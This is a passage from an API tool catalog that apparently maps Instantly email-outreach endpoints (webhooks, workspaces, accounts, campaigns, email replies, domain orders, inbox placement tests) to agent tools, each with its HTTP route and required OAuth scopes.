of those, `subsequences:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/subsequences/{id}. Scopes: subsequences:read. instantly_get_api_v2_subsequences_by_id_sending_status (read) — Get subsequence sending status -- Returns sending status data explaining why a subsequence may not be sending emails or is sending slower than expected. Note: Some fields may be missing when the campaign is out of schedule. Always-present fields: campaign_id, subsequence_id, last_updated, status, issue_tracking. Requires one of the following scopes: `subsequences:read`, `subsequences:all`, `all:read`, `all:all` via GET /api/v2/subsequences/{id}/sending-status. Agentic Fabriq asks the connection for the narrowest of those, `subsequences:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/subsequences/{id}/sending-status. Scopes: subsequences:read. instantly_get_api_v2_supersearch_enrichment_ai_by_resource_id_in_progress (read) — Get AI enrichment for resource -- Get the AI enrichment for a specific resource Requires one of the following scopes: `supersearch_enrichments:read`, `supersearch_enrichments:all`, `all:read`, `all:all` via GET /api/v2/supersearch-enrichment/ai/{resource_id}/in-progress. Agentic Fabriq asks the connection for the narrowest of those, `supersearch_enrichments:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/supersearch-enrichment/ai/{resource_id}/in-progress. Scopes: supersearch_enrichments:read. instantly_get_api_v2_supersearch_enrichment_by_resource_id (read) — Get enrichment for resource -- Get the enrichment for a specific resource via GET /api/v2/supersearch-enrichment/{resource_id}. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. GET /api/v1/instantly/api/v2/supersearch-enrichment/{resource_id}. Scopes: none. instantly_get_api_v2_supersearch_enrichment_history_by_resource_id (read) — Get enrichment history -- Retrieve the enrichment history for a specific resource Requires one of the following scopes: `supersearch_enrichments:read`, `supersearch_enrichments:all`, `all:read`, `all:all` via GET /api/v2/supersearch-enrichment/history/{resource_id}. Agentic Fabriq asks the connection for the narrowest of those, `supersearch_enrichments:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/supersearch-enrichment/history/{resource_id}. Scopes: supersearch_enrichments:read. instantly_get_api_v2_webhook_events (read) — List webhook event -- Requires one of the following scopes: `webhook_events:read`, `webhook_events:all`, `all:read`, `all:all` via GET /api/v2/webhook-events. Agentic Fabriq asks the connection for the narrowest of those, `webhook_events:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/webhook-events. Scopes: webhook_events:read. instantly_get_api_v2_webhook_events_by_id (read) — Get webhook event -- Requires one of the following scopes: `webhook_events:read`, `webhook_events:all`, `all:read`, `all:all` via GET /api/v2/webhook-events/{id}. Agentic Fabriq asks the connection for the narrowest of those, `webhook_events:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/webhook-events/{id}. Scopes: webhook_events:read. instantly_get_api_v2_webhook_events_summary (read) — Get overview aggregates for webhook events including success/failure rates via GET /api/v2/webhook-events/summary. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. GET /api/v1/instantly/api/v2/webhook-events/summary. Scopes: none. instantly_get_api_v2_webhook_events_summary_by_date (read) — Get overview aggregates for webhook events by date -- Get overview aggregates for webhook events by Date for charts via GET /api/v2/webhook-events/summary-by-date. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. GET /api/v1/instantly/api/v2/webhook-events/summary-by-date. Scopes: none. instantly_get_api_v2_webhooks (read) — List webhooks -- List all webhooks for the workspace with optional filters via GET /api/v2/webhooks. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. GET /api/v1/instantly/api/v2/webhooks. Scopes: none. instantly_get_api_v2_webhooks_by_id (read) — Get webhook -- Requires one of the following scopes: `webhooks:read`, `webhooks:all`, `all:read`, `all:all` via GET /api/v2/webhooks/{id}. Agentic Fabriq asks the connection for the narrowest of those, `webhooks:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/webhooks/{id}. Scopes: webhooks:read. instantly_get_api_v2_webhooks_event_types (read) — List available event types -- Get all available webhook event types including custom labels via GET /api/v2/webhooks/event-types. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. GET /api/v1/instantly/api/v2/webhooks/event-types. Scopes: none. instantly_get_api_v2_workspace_billing_plan_details (read) — Get workspace plan details -- Requires one of the following scopes: `workspace_billing:read`, `workspace_billing:all`, `all:read`, `all:all` via GET /api/v2/workspace-billing/plan-details. Agentic Fabriq asks the connection for the narrowest of those, `workspace_billing:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/workspace-billing/plan-details. Scopes: workspace_billing:read. instantly_get_api_v2_workspace_billing_subscription_details (read) — Get workspace subscription details -- Requires one of the following scopes: `workspace_billing:read`, `workspace_billing:all`, `all:read`, `all:all` via GET /api/v2/workspace-billing/subscription-details. Agentic Fabriq asks the connection for the narrowest of those, `workspace_billing:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/workspace-billing/subscription-details. Scopes: workspace_billing:read. instantly_get_api_v2_workspace_group_members (read) — List workspace group member -- Requires one of the following scopes: `workspace_group_members:read`, `workspace_group_members:all`, `all:read`, `all:all` via GET /api/v2/workspace-group-members. Agentic Fabriq asks the connection for the narrowest of those, `workspace_group_members:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/workspace-group-members. Scopes: workspace_group_members:read. instantly_get_api_v2_workspace_group_members_admin (read) — Get the current workspace admin workspace -- Get the details of the admin workspace of the current workspace via GET /api/v2/workspace-group-members/admin. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. GET /api/v1/instantly/api/v2/workspace-group-members/admin. Scopes: none. instantly_get_api_v2_workspace_group_members_by_id (read) — Get workspace group member -- Requires one of the following scopes: `workspace_group_members:read`, `workspace_group_members:all`, `all:read`, `all:all` via GET /api/v2/workspace-group-members/{id}. Agentic Fabriq asks the connection for the narrowest of those, `workspace_group_members:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/workspace-group-members/{id}. Scopes: workspace_group_members:read. instantly_get_api_v2_workspace_members (read) — List workspace member -- Requires one of the following scopes: `workspace_members:read`, `workspace_members:all`, `all:read`, `all:all` via GET /api/v2/workspace-members. Agentic Fabriq asks the connection for the narrowest of those, `workspace_members:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/workspace-members. Scopes: workspace_members:read. instantly_get_api_v2_workspace_members_by_id (read) — Get workspace member -- Requires one of the following scopes: `workspace_members:read`, `workspace_members:all`, `all:read`, `all:all` via GET /api/v2/workspace-members/{id}. Agentic Fabriq asks the connection for the narrowest of those, `workspace_members:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/workspace-members/{id}. Scopes: workspace_members:read. instantly_get_api_v2_workspaces_current (read) — Get workspace -- Get your current workspace details. Note that this endpoint doesn't require any parameters. It will return the workspace based on the API key sent in the headers. Requires one of the following scopes: `workspaces:read`, `workspaces:all`, `all:read`, `all:all` via GET /api/v2/workspaces/current. Agentic Fabriq asks the connection for the narrowest of those, `workspaces:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/workspaces/current. Scopes: workspaces:read. instantly_get_api_v2_workspaces_current_whitelabel_domain (read) — Get organization verified agency domain information -- Requires one of the following scopes: `workspaces:read`, `workspaces:all`, `all:read`, `all:all` via GET /api/v2/workspaces/current/whitelabel-domain. Agentic Fabriq asks the connection for the narrowest of those, `workspaces:read`; any of the wider ones satisfies Instantly on this call. GET /api/v1/instantly/api/v2/workspaces/current/whitelabel-domain. Scopes: workspaces:read. instantly_patch_api_v2_accounts_by_email (write) — Patch account -- Requires one of the following scopes: `accounts:update`, `accounts:all`, `all:update`, `all:all` via PATCH /api/v2/accounts/{email}. Agentic Fabriq asks the connection for the narrowest of those, `accounts:update`; any of the wider ones satisfies Instantly on this call. PATCH /api/v1/instantly/api/v2/accounts/{email}. Scopes: accounts:update. instantly_patch_api_v2_block_lists_entries_by_id (write) — Patch block list entry -- Requires one of the following scopes: `block_list_entries:update`, `block_list_entries:all`, `all:update`, `all:all` via PATCH /api/v2/block-lists-entries/{id}. Agentic Fabriq asks the connection for the narrowest of those, `block_list_entries:update`; any of the wider ones satisfies Instantly on this call. PATCH /api/v1/instantly/api/v2/block-lists-entries/{id}. Scopes: block_list_entries:update. instantly_patch_api_v2_campaigns_by_id (write) — Patch campaign -- Requires one of the following scopes: `campaigns:update`, `campaigns:all`, `all:update`, `all:all` via PATCH /api/v2/campaigns/{id}. Agentic Fabriq asks the connection for the narrowest of those, `campaigns:update`; any of the wider ones satisfies Instantly on this call. PATCH /api/v1/instantly/api/v2/campaigns/{id}. Scopes: campaigns:update. instantly_patch_api_v2_custom_tags_by_id (write) — Patch custom tag -- Requires one of the following scopes: `custom_tags:update`, `custom_tags:all`, `all:update`, `all:all` via PATCH /api/v2/custom-tags/{id}. Agentic Fabriq asks the connection for the narrowest of those, `custom_tags:update`; any of the wider ones satisfies Instantly on this call. PATCH /api/v1/instantly/api/v2/custom-tags/{id}. Scopes: custom_tags:update. instantly_patch_api_v2_emails_by_id (write) — Patch email -- Requires one of the following scopes: `emails:update`, `emails:all`, `all:update`, `all:all` via PATCH /api/v2/emails/{id}. Agentic Fabriq asks the connection for the narrowest of those, `emails:update`; any of the wider ones satisfies Instantly on this call. PATCH /api/v1/instantly/api/v2/emails/{id}. Scopes: emails:update. instantly_patch_api_v2_inbox_placement_tests_by_id (write) — Patch inbox placement test -- Requires one of the following scopes: `inbox_placement_tests:update`, `inbox_placement_tests:all`, `all:update`, `all:all` via PATCH /api/v2/inbox-placement-tests/{id}. Agentic Fabriq asks the connection for the narrowest of those, `inbox_placement_tests:update`; any of the wider ones satisfies Instantly on this call. PATCH /api/v1/instantly/api/v2/inbox-placement-tests/{id}. Scopes: inbox_placement_tests:update. instantly_patch_api_v2_lead_labels_by_id (write) — Patch lead label -- Requires one of the following scopes: `lead-labels:update`, `lead-labels:all`, `all:update`, `all:all` via PATCH /api/v2/lead-labels/{id}. Agentic Fabriq asks the connection for the narrowest of those, `lead-labels:update`; any of the wider ones satisfies Instantly on this call. PATCH /api/v1/instantly/api/v2/lead-labels/{id}. Scopes: lead-labels:update. instantly_patch_api_v2_lead_lists_by_id (write) — Patch lead list -- Requires one of the following scopes: `lead_lists:update`, `lead_lists:all`, `all:update`, `all:all` via PATCH /api/v2/lead-lists/{id}. Agentic Fabriq asks the connection for the narrowest of those, `lead_lists:update`; any of the wider ones satisfies Instantly on this call. PATCH /api/v1/instantly/api/v2/lead-lists/{id}. Scopes: lead_lists:update. instantly_patch_api_v2_leads_by_id (write) — Patch lead -- Requires one of the following scopes: `leads:update`, `leads:all`, `all:update`, `all:all` via PATCH /api/v2/leads/{id}. Agentic Fabriq asks the connection for the narrowest of those, `leads:update`; any of the wider ones satisfies Instantly on this call. PATCH /api/v1/instantly/api/v2/leads/{id}. Scopes: leads:update. instantly_patch_api_v2_subsequences_by_id (write) — Patch campaign subsequence -- Requires one of the following scopes: `subsequences:update`, `subsequences:all`, `all:update`, `all:all` via PATCH /api/v2/subsequences/{id}. Agentic Fabriq asks the connection for the narrowest of those, `subsequences:update`; any of the wider ones satisfies Instantly on this call. PATCH /api/v1/instantly/api/v2/subsequences/{id}. Scopes: subsequences:update. instantly_patch_api_v2_supersearch_enrichment_by_resource_id_settings (write) — Update enrichment settings for resource -- Update auto-update and skip settings for a SuperSearch enrichment tied to a specific resource Requires one of the following scopes: `supersearch_enrichments:create`, `supersearch_enrichments:all`, `all:create`, `all:all` via PATCH /api/v2/supersearch-enrichment/{resource_id}/settings. Agentic Fabriq asks the connection for the narrowest of those, `supersearch_enrichments:create`; any of the wider ones satisfies Instantly on this call. PATCH /api/v1/instantly/api/v2/supersearch-enrichment/{resource_id}/settings. Scopes: supersearch_enrichments:create. instantly_patch_api_v2_webhooks_by_id (write) — Patch webhook -- Requires one of the following scopes: `webhooks:update`, `webhooks:all`, `all:update`, `all:all` via PATCH /api/v2/webhooks/{id}. Agentic Fabriq asks the connection for the narrowest of those, `webhooks:update`; any of the wider ones satisfies Instantly on this call. PATCH /api/v1/instantly/api/v2/webhooks/{id}. Scopes: webhooks:update. instantly_patch_api_v2_workspace_members_by_id (write) — Patch workspace member -- Requires one of the following scopes: `workspace_members:update`, `workspace_members:all`, `all:update`, `all:all` via PATCH /api/v2/workspace-members/{id}. Agentic Fabriq asks the connection for the narrowest of those, `workspace_members:update`; any of the wider ones satisfies Instantly on this call. PATCH /api/v1/instantly/api/v2/workspace-members/{id}. Scopes: workspace_members:update. instantly_patch_api_v2_workspaces_current (write) — Patch workspace -- Update your current workspace details. Note that this endpoint doesn't require any parameters. It will update the workspace based on the API key sent in the headers. Requires one of the following scopes: `workspaces:update`, `workspaces:all`, `all:update`, `all:all` via PATCH /api/v2/workspaces/current. Agentic Fabriq asks the connection for the narrowest of those, `workspaces:update`; any of the wider ones satisfies Instantly on this call. PATCH /api/v1/instantly/api/v2/workspaces/current. Scopes: workspaces:update. instantly_post_api_v2_accounts (write) — Create account -- Requires one of the following scopes: `accounts:create`, `accounts:all`, `all:create`, `all:all` via POST /api/v2/accounts. Agentic Fabriq asks the connection for the narrowest of those, `accounts:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/accounts. Scopes: accounts:create. instantly_post_api_v2_accounts_by_email_mark_fixed (write) — Mark an account as fixed -- Requires one of the following scopes: `accounts:update`, `accounts:all`, `all:update`, `all:all` via POST /api/v2/accounts/{email}/mark-fixed. Agentic Fabriq asks the connection for the narrowest of those, `accounts:update`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/accounts/{email}/mark-fixed. Scopes: accounts:update. instantly_post_api_v2_accounts_by_email_pause (write) — Pause an account -- Requires one of the following scopes: `accounts:update`, `accounts:all`, `all:update`, `all:all` via POST /api/v2/accounts/{email}/pause. Agentic Fabriq asks the connection for the narrowest of those, `accounts:update`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/accounts/{email}/pause. Scopes: accounts:update. instantly_post_api_v2_accounts_by_email_resume (write) — Resume a paused account -- Requires one of the following scopes: `accounts:update`, `accounts:all`, `all:update`, `all:all` via POST /api/v2/accounts/{email}/resume. Agentic Fabriq asks the connection for the narrowest of those, `accounts:update`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/accounts/{email}/resume. Scopes: accounts:update. instantly_post_api_v2_accounts_move (write) — Move accounts between workspaces. IMPORTANT: this endpoint should be called ONLY with an ADMIN workspace API key (check the workspace group docs: https://developer.instantly.ai/workspace-group), and both the source and destination workspaces must have the same admin workspace. via POST /api/v2/accounts/move. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. POST /api/v1/instantly/api/v2/accounts/move. Scopes: none. instantly_post_api_v2_accounts_test_vitals (write) — Test account vitals -- Requires one of the following scopes: `accounts:read`, `accounts:all`, `all:read`, `all:all` via POST /api/v2/accounts/test/vitals. Agentic Fabriq asks the connection for the narrowest of those, `accounts:read`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/accounts/test/vitals. Scopes: accounts:read. instantly_post_api_v2_accounts_warmup_analytics (write) — Get warmup analytics -- Requires one of the following scopes: `accounts:read`, `accounts:all`, `all:read`, `all:all` via POST /api/v2/accounts/warmup-analytics. Agentic Fabriq asks the connection for the narrowest of those, `accounts:read`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/accounts/warmup-analytics. Scopes: accounts:read. instantly_post_api_v2_accounts_warmup_disable (write) — Disable warmup for accounts -- Initiates a background job to disable warmup for the specified accounts. The response will contain the initial background job object. You can monitor the job's progress by polling the `GET: /api/v2/background-jobs/:id` endpoint. via POST /api/v2/accounts/warmup/disable. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. POST /api/v1/instantly/api/v2/accounts/warmup/disable. Scopes: none. instantly_post_api_v2_accounts_warmup_enable (write) — Enable warmup for accounts -- Initiates a background job to enable warmup for the specified accounts. The response will contain the initial background job object. You can monitor the job's progress by polling the `GET: /api/v2/background-jobs/:id` endpoint. via POST /api/v2/accounts/warmup/enable. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. POST /api/v1/instantly/api/v2/accounts/warmup/enable. Scopes: none. instantly_post_api_v2_api_keys (write) — Create api key -- Requires one of the following scopes: `api_keys:create`, `api_keys:all`, `all:create`, `all:all` via POST /api/v2/api-keys. Agentic Fabriq asks the connection for the narrowest of those, `api_keys:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/api-keys. Scopes: api_keys:create. instantly_post_api_v2_block_lists_entries (write) — Create block list entry -- Requires one of the following scopes: `block_list_entries:create`, `block_list_entries:all`, `all:create`, `all:all` via POST /api/v2/block-lists-entries. Agentic Fabriq asks the connection for the narrowest of those, `block_list_entries:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/block-lists-entries. Scopes: block_list_entries:create. instantly_post_api_v2_block_lists_entries_bulk_create (write) — Bulk create block list entry -- Requires one of the following scopes: `block_list_entries:create`, `block_list_entries:all`, `all:create`, `all:all` via POST /api/v2/block-lists-entries/bulk-create. Agentic Fabriq asks the connection for the narrowest of those, `block_list_entries:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/block-lists-entries/bulk-create. Scopes: block_list_entries:create. instantly_post_api_v2_block_lists_entries_bulk_delete (write) — Bulk delete block list entry -- Requires one of the following scopes: `block_list_entries:delete`, `block_list_entries:all`, `all:delete`, `all:all` via POST /api/v2/block-lists-entries/bulk-delete. Agentic Fabriq asks the connection for the narrowest of those, `block_list_entries:delete`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/block-lists-entries/bulk-delete. Scopes: block_list_entries:delete. instantly_post_api_v2_campaigns (write) — Create campaign -- Requires one of the following scopes: `campaigns:create`, `campaigns:all`, `all:create`, `all:all` via POST /api/v2/campaigns. Agentic Fabriq asks the connection for the narrowest of those, `campaigns:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/campaigns. Scopes: campaigns:create. instantly_post_api_v2_campaigns_by_id_activate (write) — Activate (start) or resume a campaign -- Requires one of the following scopes: `campaigns:update`, `campaigns:all`, `all:update`, `all:all` via POST /api/v2/campaigns/{id}/activate. Agentic Fabriq asks the connection for the narrowest of those, `campaigns:update`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/campaigns/{id}/activate. Scopes: campaigns:update. instantly_post_api_v2_campaigns_by_id_duplicate (write) — Duplicate campaign -- Requires one of the following scopes: `campaigns:create`, `campaigns:all`, `all:create`, `all:all` via POST /api/v2/campaigns/{id}/duplicate. Agentic Fabriq asks the connection for the narrowest of those, `campaigns:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/campaigns/{id}/duplicate. Scopes: campaigns:create. instantly_post_api_v2_campaigns_by_id_export (write) — Export campaign to JSON format -- Requires one of the following scopes: `campaigns:read`, `campaigns:all`, `all:read`, `all:all` via POST /api/v2/campaigns/{id}/export. Agentic Fabriq asks the connection for the narrowest of those, `campaigns:read`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/campaigns/{id}/export. Scopes: campaigns:read. instantly_post_api_v2_campaigns_by_id_from_export (write) — Create campaign from shared one -- Requires one of the following scopes: `campaigns:create`, `campaigns:all`, `all:create`, `all:all` via POST /api/v2/campaigns/{id}/from-export. Agentic Fabriq asks the connection for the narrowest of those, `campaigns:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/campaigns/{id}/from-export. Scopes: campaigns:create. instantly_post_api_v2_campaigns_by_id_pause (write) — Stop (or pause) a campaign -- Requires one of the following scopes: `campaigns:update`, `campaigns:all`, `all:update`, `all:all` via POST /api/v2/campaigns/{id}/pause. Agentic Fabriq asks the connection for the narrowest of those, `campaigns:update`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/campaigns/{id}/pause. Scopes: campaigns:update. instantly_post_api_v2_campaigns_by_id_share (write) — Share a campaign. This allows other users to create new campaigns based on this campaign. The campaign is being shared for 7 days, after which you'll have to call this endpoint again if you want to enable sharing on the campaign via POST /api/v2/campaigns/{id}/share. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. POST /api/v1/instantly/api/v2/campaigns/{id}/share. Scopes: none. instantly_post_api_v2_campaigns_by_id_variables (write) — Add campaign variables -- Requires one of the following scopes: `campaigns:update`, `campaigns:all`, `all:update`, `all:all` via POST /api/v2/campaigns/{id}/variables. Agentic Fabriq asks the connection for the narrowest of those, `campaigns:update`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/campaigns/{id}/variables. Scopes: campaigns:update. instantly_post_api_v2_custom_tags (write) — Create custom tag -- Requires one of the following scopes: `custom_tags:create`, `custom_tags:all`, `all:create`, `all:all` via POST /api/v2/custom-tags. Agentic Fabriq asks the connection for the narrowest of those, `custom_tags:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/custom-tags. Scopes: custom_tags:create. instantly_post_api_v2_custom_tags_toggle_resource (write) — Assign or unassign tags to resources -- This can be used for both accounts and campaigns. Please check the `resource_type` field for more information. via POST /api/v2/custom-tags/toggle-resource. Instantly's reference states no scope requirement for this operation, so this tool requires none; a narrowly-scoped key may still be refused by the provider, in which case mint one carrying `all:all`. POST /api/v1/instantly/api/v2/custom-tags/toggle-resource. Scopes: none. instantly_post_api_v2_dfy_email_account_orders (write) — Place a DFY email account order -- This endpoint allows you to place an order for Done-For-You (DFY) email accounts with your own custom domains.
You can order up to 5 email accounts per domain.
This endpoint can place a DFY order, a pre-warmed up order, or an order to buy extra accounts to already ordered domains (please check the `order_type` field for more information).
We support the following domain extensions (tlds): .com, .org.
You can check the availability of your desired domain using the `/dfy-email-account-orders/domains/check` endpoint before placing an order.
If you choose to buy pre-warmed up accounts, please use the `/dfy-email-account-orders/domains/pre-warmed-up-list` endpoint to see a list of available pre-warmed up domains first.
If no pre-warmed up domains are available, then you can't place your order, but you can still buy regular DFY accounts.
Please make sure your workspace has an Outreach plan to use this endpoint. Requires one of the following scopes: `dfy_email_account_orders:create`, `dfy_email_account_orders:all`, `all:create`, `all:all` via POST /api/v2/dfy-email-account-orders. Agentic Fabriq asks the connection for the narrowest of those, `dfy_email_account_orders:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/dfy-email-account-orders. Scopes: dfy_email_account_orders:create. instantly_post_api_v2_dfy_email_account_orders_accounts_cancel (write) — Cancel dfy email accounts -- This endpoint will cancel the DFY email accounts based on the provided email addresses. Requires one of the following scopes: `dfy_email_account_orders:delete`, `dfy_email_account_orders:all`, `all:delete`, `all:all` via POST /api/v2/dfy-email-account-orders/accounts/cancel. Agentic Fabriq asks the connection for the narrowest of those, `dfy_email_account_orders:delete`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/dfy-email-account-orders/accounts/cancel. Scopes: dfy_email_account_orders:delete. instantly_post_api_v2_dfy_email_account_orders_domains_check (write) — Check domains availability -- This endpoint will check the availability of the provided domains.. It will return a list of domains with their availability status. . The only supported extensions (tlds) are: .com, .org. . Please do not abuse this endpoint and do not use it for anything other than checking availability before ordering a domain.. This request has a rate limit of 30 request per minute, or 900 requests per hour. Requires one of the following scopes: `dfy_email_account_orders:create`, `dfy_email_account_orders:all`, `all:create`, `all:all` via POST /api/v2/dfy-email-account-orders/domains/check. Agentic Fabriq asks the connection for the narrowest of those, `dfy_email_account_orders:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/dfy-email-account-orders/domains/check. Scopes: dfy_email_account_orders:create. instantly_post_api_v2_dfy_email_account_orders_domains_pre_warmed_up_list (write) — Get pre-warmed up domains -- This endpoint will return a list of pre-warmed up domains available for order.
These domains are set up and configured in advance, allowing for quick deployment of email services.
Use this endpoint to retrieve available pre-warmed up domains before placing an order.

IMPORTANT: if the endpoint returns a list of empty domains - it's not a bug, please don't retry right away or report this as a bug - it simply means that there are no available pre-warmed up domains at the moment. Requires one of the following scopes: `dfy_email_account_orders:read`, `dfy_email_account_orders:all`, `all:read`, `all:all` via POST /api/v2/dfy-email-account-orders/domains/pre-warmed-up-list. Agentic Fabriq asks the connection for the narrowest of those, `dfy_email_account_orders:read`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/dfy-email-account-orders/domains/pre-warmed-up-list. Scopes: dfy_email_account_orders:read. instantly_post_api_v2_dfy_email_account_orders_domains_similar (write) — Generate similar available domains -- This endpoint will generate a list of similar AND available domains based on the provided domain.. It will return a maximum number of 66 suggestions per extension (tld) requested.. All the returned domains will be available for order. Requires one of the following scopes: `dfy_email_account_orders:create`, `dfy_email_account_orders:all`, `all:create`, `all:all` via POST /api/v2/dfy-email-account-orders/domains/similar. Agentic Fabriq asks the connection for the narrowest of those, `dfy_email_account_orders:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/dfy-email-account-orders/domains/similar. Scopes: dfy_email_account_orders:create. instantly_post_api_v2_email_verification (write) — Create email verification -- If an email takes longer than 10 seconds to verify, the endpoint will return the status as `pending`. In that case, you may use the `/email-verification/:email` endpoint to check the status of the verification job. Alternatively, you can send a `webhook_url` to receive the results instead of polling the status endpoint. Requires one of the following scopes: `email_verifications:create` Requires one of the following scopes: `email_verifications:create`, `email_verifications:all`, `all:create`, `all:all` via POST /api/v2/email-verification. Agentic Fabriq asks the connection for the narrowest of those, `email_verifications:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/email-verification. Scopes: email_verifications:create. instantly_post_api_v2_emails_forward (write) — Forward an email -- Forward an existing email to another recipient. You must specify the `reply_to_uuid` field, which represents the `id` of an existing email returned by the `/emails` endpoints. Requires one of the following scopes: `emails:create`, `emails:all`, `all:create`, `all:all` via POST /api/v2/emails/forward. Agentic Fabriq asks the connection for the narrowest of those, `emails:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/emails/forward. Scopes: emails:create. instantly_post_api_v2_emails_reply (write) — Reply to an email -- Send a reply to an email. This endpoint can be used to send an email only as a reply to an existing email. In order to reply to an email, please specify the `reyply_to_uuid` field, and your email will be sent as a reply to that email. The `reyply_to_uuid` field represents the `id` field of an existing email, which is being returned to you in all the `/email` endpoints Requires one of the following scopes: `emails:create`, `emails:all`, `all:create`, `all:all` via POST /api/v2/emails/reply. Agentic Fabriq asks the connection for the narrowest of those, `emails:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/emails/reply. Scopes: emails:create. instantly_post_api_v2_emails_test (write) — Send a test email -- Send a preview/test email without creating an email entity in Unibox. Rate limit: 10 requests per minute per workspace. Requires one of the following scopes: `emails:create`, `emails:all`, `all:create`, `all:all` via POST /api/v2/emails/test. Agentic Fabriq asks the connection for the narrowest of those, `emails:create`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/emails/test. Scopes: emails:create. instantly_post_api_v2_emails_threads_by_thread_id_mark_as_read (write) — Mark all emails in a thread as read -- Requires one of the following scopes: `emails:update`, `emails:all`, `all:update`, `all:all` via POST /api/v2/emails/threads/{thread_id}/mark-as-read. Agentic Fabriq asks the connection for the narrowest of those, `emails:update`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/emails/threads/{thread_id}/mark-as-read. Scopes: emails:update. instantly_post_api_v2_inbox_placement_analytics_deliverability_insights (write) — Retrieve inbox placement analytics deliverability insights -- Provides deliverability insights for a specific inbox placement test Requires one of the following scopes: `inbox_placement_analytics:read`, `inbox_placement_analytics:all`, `all:read`, `all:all` via POST /api/v2/inbox-placement-analytics/deliverability-insights. Agentic Fabriq asks the connection for the narrowest of those, `inbox_placement_analytics:read`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/inbox-placement-analytics/deliverability-insights. Scopes: inbox_placement_analytics:read. instantly_post_api_v2_inbox_placement_analytics_stats_by_date (write) — Get inbox placement analytics stats by date -- Provides a time series representing the distribution of emails sent to inbox, spam, or category folders for scheduled inbox placement tests. Requires one of the following scopes: `inbox_placement_analytics:read`, `inbox_placement_analytics:all`, `all:read`, `all:all` via POST /api/v2/inbox-placement-analytics/stats-by-date. Agentic Fabriq asks the connection for the narrowest of those, `inbox_placement_analytics:read`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/inbox-placement-analytics/stats-by-date. Scopes: inbox_placement_analytics:read. instantly_post_api_v2_inbox_placement_analytics_stats_by_test_id (write) — Retrieve inbox placement analytics stats by test id -- Provides aggregated inbox, spam and category counts for specified test IDs Requires one of the following scopes: `inbox_placement_analytics:read`, `inbox_placement_analytics:all`, `all:read`, `all:all` via POST /api/v2/inbox-placement-analytics/stats-by-test-id. Agentic Fabriq asks the connection for the narrowest of those, `inbox_placement_analytics:read`; any of the wider ones satisfies Instantly on this call. POST /api/v1/instantly/api/v2/inbox-placement-analytics/stats-by-test-id. Scopes: inbox_placement_analytics:read. instantly_post_api_v2_inbox_placement_tests (write) — Create inbox placement test -- Requires one of the following scopes: `inbox_placement_tests:create`, `inbox_placement_tests:all`, 